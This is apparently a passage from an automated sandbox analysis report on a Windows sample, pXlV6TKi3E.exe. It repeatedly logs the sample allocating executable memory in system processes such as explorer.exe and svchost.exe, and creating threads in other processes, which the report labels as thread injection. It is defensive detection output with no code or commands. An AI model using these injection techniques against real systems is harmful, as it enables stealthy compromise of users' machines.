      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 720000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 460000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 880000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C10000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 5F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 110000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 10B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 390000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: DB0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 910000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 4E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 630000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 58A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1060000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 960000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 730000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 470000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 890000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C20000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 600000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 120000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 10C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 3A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: DC0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 920000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 4F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 640000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 58B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1070000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 1F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 970000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 740000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 480000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C30000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 610000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 130000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 10D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 3B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: DD0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 930000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 500000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 650000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 58C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1080000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 200000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 980000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 750000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 490000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8B0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C40000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 620000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 140000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 9F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 10E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 3C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: DE0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 940000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 510000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 660000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 58E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 1090000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 210000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 990000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\smartscreen.exe base: 760000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 4A0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 8C0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: C50000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3E0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dllhost.exe base: 630000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 150000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: A00000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\fontdrvhost.exe base: 10F0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\dwm.exe base: 3D0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\sihost.exe base: DF0000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 950000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\svchost.exe base: 520000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\System32\ctfmon.exe base: 670000 protect: page execute and read and writeJump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory allocated: C:\Windows\explorer.exe base: 58F0000 protect: page execute and read and writeJump to behavior
      Creates a thread in another existing process (thread injection)
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 750000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 760000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 510000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: CD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: CE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 3A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 7B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: B90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: BA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 970000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 980000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 370000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe EIP: 380000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: D00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: D10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 700000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 710000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: BD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: BE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: E20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: E30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 770000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: B60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: B70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: ED0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 620000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1400000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1450000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: A20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1060000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1070000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EF0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 14F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 8F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 900000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: BB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: BC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1030000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: EC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: ED0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: FA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: FB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: E30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: E40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 820000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 830000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: C60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: C70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 7D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: C70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: C80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 9E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: F50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: B50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: B60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: AB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 920000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 930000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeThread created: unknown EIP: 1150000Jump to behavior
